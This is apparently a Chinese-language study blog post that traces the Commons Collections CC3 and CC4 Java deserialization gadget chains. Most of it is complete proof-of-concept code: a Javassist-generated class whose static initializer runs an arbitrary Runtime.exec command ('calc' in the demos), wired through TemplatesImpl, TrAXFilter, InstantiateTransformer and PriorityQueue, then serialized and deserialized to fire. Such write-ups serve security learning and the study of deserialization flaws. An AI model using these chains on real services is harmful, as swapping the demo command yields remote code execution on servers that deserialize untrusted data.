cc3
关于类的动态加载执行恶意代码
java基础知识中我们学到了一些ClassLoader.defineClass加载
其实这里是ClassLoader这个类会递归,最终调用到defineClass
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6lZu3JAT-1649725376829)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411155257616.png)]
defineclass
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Oy6VxQK0-1649725367797)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411155226113.png)]
只做类加载不会执行代码的,所以要找个初始化的地方
那必须是使用它并重写它,public的地方
最终找到在这里
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lkPzX7R7-1649725253416)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411155832275.png)]
然后
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
由于没有指出作用域,所以这个函数默认只能在这个包里面使用
查找这个’ defineClass’注意英文前面有个空格
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qtUb2HpY-1649725253417)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411161129916.png)]
private void defineTransletClasses()
私有方法,看看谁调用了它
有3个
逐一解释,先看前两个
private void defineTransletClasses()先返回了一个类(如下图)
getTransletClasses
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vM9og7I2-1649725253421)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411161544214.png)]
也就是返回一个初始化的类
最后一个
private Translet getTransletInstance()
比较神奇
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DkowOGzL-1649725253421)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411161811952.png)]
一个是它不少返回初始化类,另一个是它有newInstance,假如能够让初始化了恶意代码的类执行这个函数,就可以newInstance的时候使他执行
可惜是private,继续找谁调用了
有个public,那我们思路清晰了
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MSftudOW-1649725253423)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411163730984.png)]
写TemplateImp
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();
然后还要满足下面这些
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NuA3LMoN-1649725253424)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411165419002.png)]
所以改为
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
templates.newTransformer();
里面的
byte[] code = Files.readAllBytes(Paths.get(“D://tmp/classes/test.class”));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
注意了,是在这里加载恶意类
test,class
package org.apache.commons.collections;
import java.io.IOException;
public class test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
不过经过调试,由于里面代码的需要
这个恶意类必须继承 AbstractTranslet 接口
前面加载了恶意类之后这里有两个判断,第一个判断是判断这个类的父类是不是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet ,如果不是那么 _transletIndex 会被赋值为 - 1 并且进入下面的 if 语句从而报错 所以恶意类需要继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类 接着看 _tfactory 的赋值
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-okqasxcZ-1649725253427)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411173810707.png)]
它是一个 transient 变量,说明直接给值是不行的,那就直接到 readObjcet 看看
最终test.class
不过我们也可以用平时打比赛的恶意类(更好,因为序列化后字节长度更短)
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
最终poc
package org.apache.commons.collections;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class ccone {
public static void setValue(String name, Object target, Object value) {
try {
Field field = target.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(target, value);
} catch (Exception ignore) {
}
}
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xld3q1gy-1649725253430)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411175416238.png)]
由此我们得出结论:
- 可以利用类的动态加载来执行恶意代码
cc1对它的使用
poc
package org.apache.commons.collections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class ccone {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void main(String[] args) throws Exception
{
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());
//templates.newTransformer();
Transformer[] transformers = new Transformer[]{
//new ConstantTransformer(Runtime.class),
new ConstantTransformer(templates),
// new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
// new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
//new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
new InvokerTransformer("newTransformer", null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstruct.setAccessible(true);
Object o = annotationInvocationHandlerConstruct.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
}
cc3的前半段
templates.newTransformer();
之前cc1的前半段就是为了替代它的功能(外加一个可以被序列化),所以这里挖链子要先找谁调用了newTransformer
-
TemplatesImpl.getOutputProperties
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OFYwgBda-1649725253433)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411200049390.png)]
待定
-
TransformerFactoryImpl.newTransformer
public Transformer newTransformer(Source source) throws
TransformerConfigurationException
{
final Templates templates = newTemplates(source);
final Transformer transformer = templates.newTransformer();
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
return(transformer);
}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3MhF4YvM-1649725253434)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411200457838.png)]
看了下构造函数很难传参
-
TrAXFilter的构造函数
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
这个解决了难以传参的问题,但是看了一下没有实现序列化接口,不过先留着,之前构造cc1的思路就是看看有没有谁调用它
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-X3WZkjc0-1649725253435)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411201017873.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ECUoegZs-1649725253436)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411201024032.png)]
参考了cc3的作者,原来是他创造性的发现了这个
InstantiateTransformer
他实现了序列化接口
public class InstantiateTransformer implements Transformer, Serializable
而在他的构造方法下面有transform(iArgs)
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}
构造函数可控
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YqMXwwep-1649725253437)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411201659192.png)]
非常理想
所以思路就是InstantiateTransformer.transform->TrAXFilter的构造函数->newInstance
写poc
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
目前的poc
public static void main(String[] args) throws Exception
{
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());
//templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6Ra4qemy-1649725253437)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411202801889.png)]
然后接上一个用于序列化的东西,例如hashmap.lazymap都行(就是把之前cc1或者cc6的前面部分黏贴过来)
HashMap<Object,Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, instantiateTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstruct.setAccessible(true);
Object o = annotationInvocationHandlerConstruct.newInstance(Target.class, transformedMap);
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-A4KfrGkY-1649725253438)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411203822609.png)]
序列化行,反序列化不行
bug和之前cc1一样,还是不得不用上
Transformer[] transformers = new Transformer[]{
...
}
较完整的demo
package org.apache.commons.collections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class ccone {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void main(String[] args) throws Exception
{
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());
//templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
//new ConstantTransformer(Runtime.class),
new ConstantTransformer(TrAXFilter.class),
// new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
// new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
//new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
instantiateTransformer
};
//
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstruct.setAccessible(true);
Object o = annotationInvocationHandlerConstruct.newInstance(Target.class, transformedMap);
// serialize(o);
unserialize("ser.bin");
//
// InstantiateTransformer
}
}
注释是为了和之前的链子进行比较
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aPnNL3cb-1649725253441)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411204316659.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-46SCrR1y-1649725253442)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411204444159.png)]
对了
视频里面是用的lazymap,其实都行,demo参考miku师傅的
对了
// setValue(templates,"_tfactory", new TransformerFactoryImpl());
可以不赋值,因为序列化的时候会自动赋值
完整demo
package org.apache.commons.collections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class ccone {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void main(String[] args) throws Exception
{
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
// setValue(templates,"_tfactory", new TransformerFactoryImpl());
//templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
//new ConstantTransformer(Runtime.class),
new ConstantTransformer(TrAXFilter.class),
// new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
// new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
//new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
instantiateTransformer
};
//
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstruct.setAccessible(true);
Object o = annotationInvocationHandlerConstruct.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");
//
// InstantiateTransformer
}
}
这张图,务必熟读
cc4
环境搭建
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
分析
此链后半段基本一样,试图从高版本的入口处进行一个新的链子的书写
试试ChainedTransformer,注意选cc4
注意下载源代码
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-F5spTO9g-1649725253443)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411234722277.png)]
经过对ChainedTransformer的查找用法,这里的compare调用了transform
经过不断搜索可以发现
PriorityQueue
这个是数据结构里面的优先队列
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cOK7QHOp-1649725253445)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411231522782.png)]
他的readObject
跟进红框内的函数
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zLxkIARN-1649725253446)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411231716856.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fgJcJsut-1649725253447)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411231816222.png)]
用一张图解释
自己尝试编写的时候呢
会发现一个size不为0的情况
需要添加
priorityQueue.add(1);
priorityQueue.add(2);
但是加完以后呢,加载的时候就自动执行恶意代码了
所以我们需要反射写一个
最终poc
package org.apache.commons.collections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class ccone {
public static void setValue(String name, Object target, Object value) {
try {
Field field = target.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(target, value);
} catch (Exception ignore) {
}
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(1);
TransformingComparator ioTransformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(ioTransformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class c = ioTransformingComparator.getClass();
Field field = c.getDeclaredField("transformer");
field.setAccessible(true);
field.set(ioTransformingComparator,chainedTransformer);
//serialize(priorityQueue);
unserialize("ser.bin");
}
}